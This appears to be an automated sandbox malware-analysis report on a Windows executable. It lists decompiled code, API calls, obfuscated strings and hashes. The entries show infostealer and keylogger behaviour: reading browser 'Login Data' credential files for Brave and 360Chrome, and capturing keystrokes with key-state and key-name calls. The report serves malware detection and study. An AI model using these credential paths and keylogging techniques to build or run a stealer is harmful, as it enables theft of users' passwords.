						 *((intOrPtr*)(_t107 + 8)) =  *((intOrPtr*)(_t107 + 0x2c));
						 *((intOrPtr*)(_t107 + 0xc)) =  *_t84;
						 *((intOrPtr*)(_t107 + 4)) =  *((intOrPtr*)(_t107 + 0x28));
						 *_t107 =  *((intOrPtr*)(_t106 + 0x44));
						if( *((intOrPtr*)(_t107 + 0x3c)) !=  *((intOrPtr*)(_t106 + 0x3c))()) {
							goto L1;
						}
						 *_t106 =  *_t106 +  *((intOrPtr*)(_t107 + 0x30));
						asm("adc [ebp+0x4], edx");
						goto L10;
					}
				}
				L1:
				return 0;
			}

0x0041dd46
0x0041dd4f
0x0041dd58
0x0041dd5d
0x00000000
0x0041dd65
0x0041dd65
0x0041dd6d
0x00000000
0x00000000
0x0041dd75
0x0041dd7d
0x0041dd81
0x0041dd84
0x0041dd8c
0x0041dd90
0x0041dd9d
0x0041dda6
0x0041ddad
0x00000000
0x00000000
0x0041ddb1
0x0041de02
0x0041de0a
0x0041de12
0x0041de1a
0x0041de22
0x0041de31
0x0041de31
0x0041de33
0x0041de36
0x0041de3b
0x0041de40
0x0041de45
0x0041de4a
0x0041de50
0x0041de58
0x0041de5c
0x0041de60
0x0041de64
0x0041de71
0x0041de7a
0x0041de82
0x0041de8c
0x0041de90
0x0041de97
0x0041dea0
0x00000000
0x00000000
0x0041dea6
0x0041deab
0x0041dec3
0x0041decc
0x00000000
0x00000000
0x00000000
0x0041dece
0x0041dead
0x0041dead
0x0041deb1
0x0041debd
0x00000000
0x0041debd
0x0041ddbb
0x0041ddc2
0x0041ddc9
0x0041ddcf
0x0041ddd3
0x0041dddb
0x0041dde2
0x0041ddec
0x00000000
0x00000000
0x0041ddf6
0x0041ddfd
0x00000000
0x0041ddfd
0x0041dd5d
0x0041dd51
0x00000000

Strings

K, xrefs: 0041DE3B
P, xrefs: 0041DE36

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: K$P
API String ID: 0-420285281
Opcode ID: 8a69464f70444901d772828418eb0133d86c5c4489e010a0a704677ec8438a85
Instruction ID: 76b3f71e46e7dd39d433d4e4d553b0a2d3546f8e99cb6a452508f90fdc663846
Opcode Fuzzy Hash: 8a69464f70444901d772828418eb0133d86c5c4489e010a0a704677ec8438a85
Instruction Fuzzy Hash: 3F51C0B09083449FCB50CF29C58468BBBE1AF98318F54892EF8988B351E379D985CF46

Uniqueness

Uniqueness Score: -1.00%

Function 00408218, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32 ref: 00408255
GetLocalTime.KERNEL32 ref: 0040825C

Strings

%.4d-%.2d-%.2d %.2d:%.2d:%.2d, xrefs: 00408267

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Time$LocalSystem
String ID: %.4d-%.2d-%.2d %.2d:%.2d:%.2d
API String ID: 1098363292-244208801
Opcode ID: 2c0d27171b227a626090942a01cb7e3bbf324c6d7aa291d0839ae4957e61f002
Instruction ID: 210422b194b1c769db9a9b51ef88a37ee0462c5d8974aa95260b86ae16cdeba8
Opcode Fuzzy Hash: 2c0d27171b227a626090942a01cb7e3bbf324c6d7aa291d0839ae4957e61f002
Instruction Fuzzy Hash: CC11F874809354AAC750DF26C54066FBBE4FB88B54F40882FF8C493241E73C9984DB57

Uniqueness

Uniqueness Score: -1.00%

Function 0040A115, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 0040A13F

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

Part of subcall function 0040970C: GetLocalTime.KERNEL32 ref: 00409733
Part of subcall function 0040970C: CloseHandle.KERNEL32 ref: 0040979A
Part of subcall function 0040970C: MultiByteToWideChar.KERNEL32 ref: 0040982A
Part of subcall function 0040970C: CreateFileW.KERNEL32 ref: 00409865

Strings

%.2d-%.2d-%.4d, xrefs: 0040A14E
%s%s, xrefs: 0040A1AC

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: LocalTime$ByteCharCloseCreateFileHandleMultiWide_vsnprintf
String ID: %.2d-%.2d-%.4d$%s%s
API String ID: 1146952123-1875718462
Opcode ID: 5591ed2e94f3fe8972e20bad9ffc4cb21d90fde9e93a0863d429b9defc772554
Instruction ID: 34f9120a3e00634d565d7763f47cba82c7014e7225e68866d6d8ccf2245a1495
Opcode Fuzzy Hash: 5591ed2e94f3fe8972e20bad9ffc4cb21d90fde9e93a0863d429b9defc772554
Instruction Fuzzy Hash: FC11FAB4418311ABD710EF21D58426FBBE4BF84308F418D2EF8D89B281D7BC8985DB4A

Uniqueness

Uniqueness Score: -1.00%

Function 0040F80E, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

getenv.MSVCRT ref: 0040F81C

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

Part of subcall function 00406F1A: MultiByteToWideChar.KERNEL32 ref: 00406F53
Part of subcall function 00406F1A: GetFileAttributesW.KERNEL32 ref: 00406F5E

Part of subcall function 0040E7B0: sprintf.MSVCRT ref: 0040E826
Part of subcall function 0040E7B0: strcmp.MSVCRT ref: 0040E836
Part of subcall function 0040E7B0: strcmp.MSVCRT ref: 0040E84A

Strings

%6\Tsd0C MW85gC0d\Tsd0C M5CVid\mWn4R aC5C, xrefs: 0040F821
APPDATA, xrefs: 0040F815

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: strcmp$AttributesByteCharFileMultiWide_vsnprintfgetenvsprintf
String ID: %6\Tsd0C MW85gC0d\Tsd0C M5CVid\mWn4R aC5C$APPDATA
API String ID: 4002788684-192518184
Opcode ID: 0fab81466e71abbe963226e17a78c1fbc645ba74b9b0b58d66bc20438fab83ce
Instruction ID: c59c0c3209b6e4d1d9f74c736156fada3f2d08805c64e01a6a820c6a221bf5be
Opcode Fuzzy Hash: 0fab81466e71abbe963226e17a78c1fbc645ba74b9b0b58d66bc20438fab83ce
Instruction Fuzzy Hash: D0F01CF44097019AC700BFA1E4C515EBBF0AF80348F41DC3FA0D89B282D77D84598B16

Uniqueness

Uniqueness Score: -1.00%

Function 0040F41E, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

getenv.MSVCRT ref: 0040F42C

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

Part of subcall function 00406F1A: MultiByteToWideChar.KERNEL32 ref: 00406F53
Part of subcall function 00406F1A: GetFileAttributesW.KERNEL32 ref: 00406F5E

Part of subcall function 0040E7B0: sprintf.MSVCRT ref: 0040E826
Part of subcall function 0040E7B0: strcmp.MSVCRT ref: 0040E836
Part of subcall function 0040E7B0: strcmp.MSVCRT ref: 0040E84A

Strings

LOCALAPPDATA, xrefs: 0040F425
%6\PWlWSW\a0CnWR\u6d0 aC5C\ad8CQi5\mWn4R aC5C, xrefs: 0040F431

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: strcmp$AttributesByteCharFileMultiWide_vsnprintfgetenvsprintf
String ID: %6\PWlWSW\a0CnWR\u6d0 aC5C\ad8CQi5\mWn4R aC5C$LOCALAPPDATA
API String ID: 4002788684-2519461285
Opcode ID: 58afc3f2489eec88247307c060aa51acb2e300a174676c78cc6216723058e206
Instruction ID: f6734aec6350df2943a19c6392afeb0eac539fa0626ba44f4f6de0a19879264b
Opcode Fuzzy Hash: 58afc3f2489eec88247307c060aa51acb2e300a174676c78cc6216723058e206
Instruction Fuzzy Hash: 26F01CF44093019AC710BFA5E4C515EBBF0AF80344F41DC3EA4D49B282DB7D84598B06

Uniqueness

Uniqueness Score: -1.00%

Function 0040F51F, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

getenv.MSVCRT ref: 0040F52D

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

Part of subcall function 00406F1A: MultiByteToWideChar.KERNEL32 ref: 00406F53
Part of subcall function 00406F1A: GetFileAttributesW.KERNEL32 ref: 00406F5E

Part of subcall function 0040E7B0: sprintf.MSVCRT ref: 0040E826
Part of subcall function 0040E7B0: strcmp.MSVCRT ref: 0040E836
Part of subcall function 0040E7B0: strcmp.MSVCRT ref: 0040E84A

Strings

LOCALAPPDATA, xrefs: 0040F526
%6\vCRSdf\vCRSdfc0Wg6d0\u6d0 aC5C\ad8CQi5\mWn4R aC5C, xrefs: 0040F532

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: strcmp$AttributesByteCharFileMultiWide_vsnprintfgetenvsprintf
String ID: %6\vCRSdf\vCRSdfc0Wg6d0\u6d0 aC5C\ad8CQi5\mWn4R aC5C$LOCALAPPDATA
API String ID: 4002788684-827255628
Opcode ID: a201e8895971eff9ebe58bfcde2cfb47e37ebee3183dfbc2c07936ce38918b48
Instruction ID: d8bafc2e13ae55d63e500dad1d8c1fea04f901a9aeaceac044b48453edd3ba1e
Opcode Fuzzy Hash: a201e8895971eff9ebe58bfcde2cfb47e37ebee3183dfbc2c07936ce38918b48
Instruction Fuzzy Hash: FFF01CF44093019AD700BFA5E4C515EBBF0AF80344F419C3FA0D49B282EB7D84588B0A

Uniqueness

Uniqueness Score: -1.00%

Function 0040F21C, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

getenv.MSVCRT ref: 0040F22A

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

Part of subcall function 00406F1A: MultiByteToWideChar.KERNEL32 ref: 00406F53
Part of subcall function 00406F1A: GetFileAttributesW.KERNEL32 ref: 00406F5E

Part of subcall function 0040E7B0: sprintf.MSVCRT ref: 0040E826
Part of subcall function 0040E7B0: strcmp.MSVCRT ref: 0040E836
Part of subcall function 0040E7B0: strcmp.MSVCRT ref: 0040E84A

Strings

LOCALAPPDATA, xrefs: 0040F223
%6\EWWnid\PI0Wld\u6d0 aC5C\ad8CQi5\mWn4R aC5C, xrefs: 0040F22F

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: strcmp$AttributesByteCharFileMultiWide_vsnprintfgetenvsprintf
String ID: %6\EWWnid\PI0Wld\u6d0 aC5C\ad8CQi5\mWn4R aC5C$LOCALAPPDATA
API String ID: 4002788684-1794796215
Opcode ID: 5bee5a070fce172ca29abe6afa9d1e8e64787ffef9f8c53bf437cf9a90d30cd5
Instruction ID: fee5fc515d39af69c9f8d3fcc8fdcb17e76f4cbd20d980003c76639a252192be
Opcode Fuzzy Hash: 5bee5a070fce172ca29abe6afa9d1e8e64787ffef9f8c53bf437cf9a90d30cd5
Instruction Fuzzy Hash: F6F0F8B45093019AC700BFB2E48515EBBE0AF40344F419C3EA0D45B282DB7D84998B06

Uniqueness

Uniqueness Score: -1.00%

Function 0041328F, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

NetWkstaGetInfo.NETAPI32 ref: 004132B1
NetApiBufferFree.NETAPI32 ref: 004132D8

Strings

f, xrefs: 00413296

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: BufferFreeInfoWksta
String ID: f
API String ID: 773480902-1993550816
Opcode ID: adce9d268615c65e9b031c2403f5ee47e1848614fcce32b1b10be943295c3ccf
Instruction ID: bf6d1e5e530aa92c88c9cb547170410969f3c4ca1d96cbd027a6ecb1b54c6bd2
Opcode Fuzzy Hash: adce9d268615c65e9b031c2403f5ee47e1848614fcce32b1b10be943295c3ccf
Instruction Fuzzy Hash: 19F0F8B45083018FC704EF25C185B5BBBE1BF88304F40886DE88487354D379D58ACB96

Uniqueness

Uniqueness Score: -1.00%

Function 0040F31D, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

getenv.MSVCRT ref: 0040F32B

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

Part of subcall function 00406F1A: MultiByteToWideChar.KERNEL32 ref: 00406F53
Part of subcall function 00406F1A: GetFileAttributesW.KERNEL32 ref: 00406F5E

Part of subcall function 0040E7B0: sprintf.MSVCRT ref: 0040E826
Part of subcall function 0040E7B0: strcmp.MSVCRT ref: 0040E836
Part of subcall function 0040E7B0: strcmp.MSVCRT ref: 0040E84A

Strings

LOCALAPPDATA, xrefs: 0040F324
%6\PI0Wl4Ql\u6d0 aC5C\ad8CQi5\mWn4R aC5C, xrefs: 0040F330

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: strcmp$AttributesByteCharFileMultiWide_vsnprintfgetenvsprintf
String ID: %6\PI0Wl4Ql\u6d0 aC5C\ad8CQi5\mWn4R aC5C$LOCALAPPDATA
API String ID: 4002788684-499109468
Opcode ID: 2f3bc8e83f24dc031feb7a46af2e90c565f8f6f7ecf48976a05c6c06421c886c
Instruction ID: 5ef1ac02f39b0cfe132f74bc721b0ccfe63043329509729e5aaf0d5d1400366a
Opcode Fuzzy Hash: 2f3bc8e83f24dc031feb7a46af2e90c565f8f6f7ecf48976a05c6c06421c886c
Instruction Fuzzy Hash: 0AF01CB44093019AC710BFA2E48525EBBF0AF80345F41DC3EA4D45B282E77D84598B06

Uniqueness

Uniqueness Score: -1.00%

Function 0040F620, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22COMMON

Download Yara Rule

APIs

getenv.MSVCRT ref: 0040F632

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

Part of subcall function 00406F1A: MultiByteToWideChar.KERNEL32 ref: 00406F53
Part of subcall function 00406F1A: GetFileAttributesW.KERNEL32 ref: 00406F5E

Part of subcall function 0040E7B0: sprintf.MSVCRT ref: 0040E826
Part of subcall function 0040E7B0: strcmp.MSVCRT ref: 0040E836
Part of subcall function 0040E7B0: strcmp.MSVCRT ref: 0040E84A

Strings

%s\BraveSoftware\Brave-Browser\User Data\Default\Login Data, xrefs: 0040F637
LOCALAPPDATA, xrefs: 0040F62B

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: strcmp$AttributesByteCharFileMultiWide_vsnprintfgetenvsprintf
String ID: %s\BraveSoftware\Brave-Browser\User Data\Default\Login Data$LOCALAPPDATA
API String ID: 4002788684-1610204740
Opcode ID: a58b65df7a615735e6b402f170ae464e67c2c401e3c47f38dbc5baa4e1096a1c
Instruction ID: e52c2a3b6ed7b38a9aa3c7674bf17bed6b6036f98454ea6e8773de06e08e4b99
Opcode Fuzzy Hash: a58b65df7a615735e6b402f170ae464e67c2c401e3c47f38dbc5baa4e1096a1c
Instruction Fuzzy Hash: AFE0C9F44097059AC710BF62E48525ABBE0AF40348F419C3EA4D85B282D77D84598B17

Uniqueness

Uniqueness Score: -1.00%

Function 0040F717, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22COMMON

Download Yara Rule

APIs

getenv.MSVCRT ref: 0040F729

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

Part of subcall function 00406F1A: MultiByteToWideChar.KERNEL32 ref: 00406F53
Part of subcall function 00406F1A: GetFileAttributesW.KERNEL32 ref: 00406F5E

Part of subcall function 0040E7B0: sprintf.MSVCRT ref: 0040E826
Part of subcall function 0040E7B0: strcmp.MSVCRT ref: 0040E836
Part of subcall function 0040E7B0: strcmp.MSVCRT ref: 0040E84A

Strings

LOCALAPPDATA, xrefs: 0040F722
%s\360Chrome\Chrome\User Data\Default\Login Data, xrefs: 0040F72E

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: strcmp$AttributesByteCharFileMultiWide_vsnprintfgetenvsprintf
String ID: %s\360Chrome\Chrome\User Data\Default\Login Data$LOCALAPPDATA
API String ID: 4002788684-2701242320
Opcode ID: c9842bb51197c4e93d15a8246a4ed6a554dcf5233594f541126da16846b1f092
Instruction ID: 665d5e65072d6f456546477da389f3f909fca51d2561347a82566c02fca463e7
Opcode Fuzzy Hash: c9842bb51197c4e93d15a8246a4ed6a554dcf5233594f541126da16846b1f092
Instruction Fuzzy Hash: EAE0C9F44093019AD710BF72E58525ABBE0AF80748F41DC3EA4D85B282D77D84598B57

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: ioldfli.exe PID: 6768 Parent PID: 3440 ioldfli.exeCOMMON

Executed Functions

Non-executed Functions

Function 0019F79E, Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.394460798.000000000019A000.00000004.00000001.sdmp, Offset: 0019A000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1100f0eeb212098ccf5be80a35bc07795a7fc97e3f0334b4ce261b5d0db30b38
Instruction ID: b89649e0e97d86cde4433bb7da9fe157da1794cf5d4c2773f070231b137c8144
Opcode Fuzzy Hash: 1100f0eeb212098ccf5be80a35bc07795a7fc97e3f0334b4ce261b5d0db30b38
Instruction Fuzzy Hash: A3E09A36660608BFCB18CBB8CC81D15B3E8EB18320B1002A8F925C73A0E734EE008A50

Uniqueness

Uniqueness Score: -1.00%

Function 0019F7DB, Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.394460798.000000000019A000.00000004.00000001.sdmp, Offset: 0019A000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff5f89fbc0ecb4e9f42a23ab0e6ea761649b2aca3cc7db53e6fbbfb3471062a8
Instruction ID: e5428d15a507d9ab43a637ad69ebf0b8ed0bc05eebcf91392078d3a397f9fcf6
Opcode Fuzzy Hash: ff5f89fbc0ecb4e9f42a23ab0e6ea761649b2aca3cc7db53e6fbbfb3471062a8
Instruction Fuzzy Hash: 19E04F32620550ABCBA19B59C800C96F7E8EB987B075A443AE949D7620C330FC02C690

Uniqueness

Uniqueness Score: -1.00%

Function 0019F83E, Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.394460798.000000000019A000.00000004.00000001.sdmp, Offset: 0019A000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c05f99247aa81ce170190a3f42a6638173cba83a8e8f878aed30f5516b3ecb7
Instruction ID: 01513cdb45ce42654985ae443ff07ed2023d2f9c2cc80418f216d1c85a703bac
Opcode Fuzzy Hash: 7c05f99247aa81ce170190a3f42a6638173cba83a8e8f878aed30f5516b3ecb7
Instruction Fuzzy Hash: ECC00139661A40CFCA55CF08C194E00B3F4FB5D760B068491E906CB732C234ED40DA40

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: ioldfli.exe PID: 6824 Parent PID: 6768 ioldfli.exeCOMMON

Executed Functions

Function 00408FE0, Relevance: 15.9, APIs: 2, Strings: 7, Instructions: 156fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00407C77: GetModuleFileNameW.KERNEL32 ref: 00407CA2
Part of subcall function 00407C77: WideCharToMultiByte.KERNEL32 ref: 00407CE3

Part of subcall function 00412D73: getenv.MSVCRT ref: 00412ECA

ExitProcess.KERNEL32 ref: 00409134
fopen.MSVCRT ref: 00409237

Part of subcall function 00406E04: MultiByteToWideChar.KERNEL32 ref: 00406E3D
Part of subcall function 00406E04: GetFileAttributesW.KERNEL32 ref: 00406E48
Part of subcall function 00406E04: SetFileAttributesW.KERNEL32 ref: 00406E62
Part of subcall function 00406E04: DeleteFileW.KERNEL32 ref: 00406E6C

Part of subcall function 00406F1A: MultiByteToWideChar.KERNEL32 ref: 00406F53
Part of subcall function 00406F1A: GetFileAttributesW.KERNEL32 ref: 00406F5E

Part of subcall function 00407EF4: Sleep.KERNEL32 ref: 00407EFE

Strings

-m "%s", xrefs: 004090AB
M5QV9C5I, xrefs: 004091F0
MT_qUDrj\F4Y0W6W85\U4RSWg6\PQ00dR5zd064WR\rQR\, xrefs: 0040915E
rb+, xrefs: 0040922C
MT_qUDrj\F4Y0W6W85\DY542d Md5Qs\XR65CiidS PWlsWRdR56\%6, xrefs: 004091AC
"%s", xrefs: 004091D8
%AppData%\Logs\, xrefs: 00409260, 0040927C

Memory Dump Source

Source File: 00000006.00000002.394088134.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.394118318.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000006.00000002.394126982.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: File$AttributesByteCharMultiWide$DeleteExitModuleNameProcessSleepfopengetenv
String ID: "%s"$%AppData%\Logs\$-m "%s"$M5QV9C5I$MT_qUDrj\F4Y0W6W85\DY542d Md5Qs\XR65CiidS PWlsWRdR56\%6$MT_qUDrj\F4Y0W6W85\U4RSWg6\PQ00dR5zd064WR\rQR\$rb+
API String ID: 3425440891-631238895
Opcode ID: f30e6d8a907dd3353848ff06e92ddf989b88db033d35ce3d89f40ddf47fb2e6e
Instruction ID: cf1332e757baf714fb04fabdc2a14f291af18396ddc48b811abeeedaa7cc8274
Opcode Fuzzy Hash: f30e6d8a907dd3353848ff06e92ddf989b88db033d35ce3d89f40ddf47fb2e6e
Instruction Fuzzy Hash: 4D61C7B04087119AD710BF61D64536EBBE1AF81348F41C86EE4C86B383CBBD8985DB5B

Uniqueness

Uniqueness Score: -1.00%

Function 00408FE0, Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 156fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00407C77: GetModuleFileNameW.KERNEL32 ref: 00407CA2
Part of subcall function 00407C77: WideCharToMultiByte.KERNEL32 ref: 00407CE3

Part of subcall function 00412D73: getenv.MSVCRT ref: 00412ECA

ExitProcess.KERNEL32 ref: 00409134
fopen.MSVCRT ref: 00409237

Part of subcall function 00406E04: MultiByteToWideChar.KERNEL32 ref: 00406E3D
Part of subcall function 00406E04: GetFileAttributesW.KERNEL32 ref: 00406E48
Part of subcall function 00406E04: SetFileAttributesW.KERNEL32 ref: 00406E62
Part of subcall function 00406E04: DeleteFileW.KERNEL32 ref: 00406E6C

Part of subcall function 00406F1A: MultiByteToWideChar.KERNEL32 ref: 00406F53
Part of subcall function 00406F1A: GetFileAttributesW.KERNEL32 ref: 00406F5E

Part of subcall function 00407EF4: Sleep.KERNEL32 ref: 00407EFE

Strings

MT_qUDrj\F4Y0W6W85\DY542d Md5Qs\XR65CiidS PWlsWRdR56\%6, xrefs: 004091AC
"%s", xrefs: 004091D8
M5QV9C5I, xrefs: 004091F0
MT_qUDrj\F4Y0W6W85\U4RSWg6\PQ00dR5zd064WR\rQR\, xrefs: 0040915E
rb+, xrefs: 0040922C
-m "%s", xrefs: 004090AB

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$AttributesByteCharMultiWide$DeleteExitModuleNameProcessSleepfopengetenv
String ID: "%s"$-m "%s"$M5QV9C5I$MT_qUDrj\F4Y0W6W85\DY542d Md5Qs\XR65CiidS PWlsWRdR56\%6$MT_qUDrj\F4Y0W6W85\U4RSWg6\PQ00dR5zd064WR\rQR\$rb+
API String ID: 3425440891-3789651114
Opcode ID: f30e6d8a907dd3353848ff06e92ddf989b88db033d35ce3d89f40ddf47fb2e6e
Instruction ID: cf1332e757baf714fb04fabdc2a14f291af18396ddc48b811abeeedaa7cc8274
Opcode Fuzzy Hash: f30e6d8a907dd3353848ff06e92ddf989b88db033d35ce3d89f40ddf47fb2e6e
Instruction Fuzzy Hash: 4D61C7B04087119AD710BF61D64536EBBE1AF81348F41C86EE4C86B383CBBD8985DB5B

Uniqueness

Uniqueness Score: -1.00%

Function 00408AB3, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(?,?,?,?,?,?,?,00409119), ref: 00408ACD
GetLastError.KERNEL32 ref: 00408AE0

Strings

oCTboYgC, xrefs: 00408AB6

Memory Dump Source

Source File: 00000006.00000002.394088134.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.394118318.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000006.00000002.394126982.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: CreateErrorLastMutex
String ID: oCTboYgC
API String ID: 1925916568-2829480822
Opcode ID: c3194e90da334e6e38a89a9e3cd57681737c8a67fcd2182493c3a531e1f22581
Instruction ID: ad06f29d9f34d8de5c37fb948c6dfac14eb5c16bc83129ba4182c5028b8a9bce
Opcode Fuzzy Hash: c3194e90da334e6e38a89a9e3cd57681737c8a67fcd2182493c3a531e1f22581
Instruction Fuzzy Hash: FED05EB4504701AAD714FF2982453993EE05B40308F84843EDC88C3796E3BD81DD8B1B

Uniqueness

Uniqueness Score: -1.00%

Function 00405959, Relevance: 4.5, APIs: 3, Instructions: 16networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32 ref: 0040596E
ExitProcess.KERNEL32 ref: 00405980
InitializeCriticalSection.KERNEL32 ref: 0040598C

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CriticalExitInitializeProcessSectionStartup
String ID:
API String ID: 3456047655-0
Opcode ID: a91f1f4c0aaa6fb794749ee6afa9b0a47610891d014f0b90db03d96409f36a12
Instruction ID: 24ad92727fe000e7c60640d94de1f7f21ee868b5df478abe0a14dc0806b9406b
Opcode Fuzzy Hash: a91f1f4c0aaa6fb794749ee6afa9b0a47610891d014f0b90db03d96409f36a12
Instruction Fuzzy Hash: A4D012F0504301AEE710BF51D4057BA7AE8AB41310F41483EA8D086242D77D448D4AA7

Uniqueness

Uniqueness Score: -1.00%

Function 00408AB3, Relevance: 3.0, APIs: 2, Instructions: 16synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(?,?,?,?,?,?,?,00409119), ref: 00408ACD
GetLastError.KERNEL32 ref: 00408AE0

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateErrorLastMutex
String ID:
API String ID: 1925916568-0
Opcode ID: c3194e90da334e6e38a89a9e3cd57681737c8a67fcd2182493c3a531e1f22581
Instruction ID: ad06f29d9f34d8de5c37fb948c6dfac14eb5c16bc83129ba4182c5028b8a9bce
Opcode Fuzzy Hash: c3194e90da334e6e38a89a9e3cd57681737c8a67fcd2182493c3a531e1f22581
Instruction Fuzzy Hash: FED05EB4504701AAD714FF2982453993EE05B40308F84843EDC88C3796E3BD81DD8B1B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00409953, Relevance: 65.0, APIs: 13, Strings: 24, Instructions: 210keyboardCOMMON

Download Yara Rule

APIs

GetKeyState.USER32 ref: 0040996B
GetKeyState.USER32 ref: 0040997A
GetKeyState.USER32 ref: 00409987
GetKeyState.USER32 ref: 00409994
GetKeyboardState.USER32(00000000), ref: 004099A4
MapVirtualKeyW.USER32(00000000,00000000), ref: 00409B33
ToUnicode.USER32 ref: 00409B60
WideCharToMultiByte.KERNEL32 ref: 00409BAA
GetKeyState.USER32 ref: 00409BB9
MapVirtualKeyW.USER32 ref: 00409C01
GetKeyNameTextW.USER32 ref: 00409C21
GetKeyState.USER32 ref: 00409C38
WideCharToMultiByte.KERNEL32 ref: 00409CA8

Strings

[9Cnd us], xrefs: 00409A0B
@, xrefs: 00409C12
[D00Wg aWgR], xrefs: 00409AAE
[-Wld], xrefs: 00409AB7
[cCYw6sCYd], xrefs: 004099DE
[904R5 MY0ddR], xrefs: 00409A64
[j6Y], xrefs: 00409AF6
[%s], xrefs: 00409CB4
[adid5d], xrefs: 00409ADB
[P50i+%Y], xrefs: 00409C57
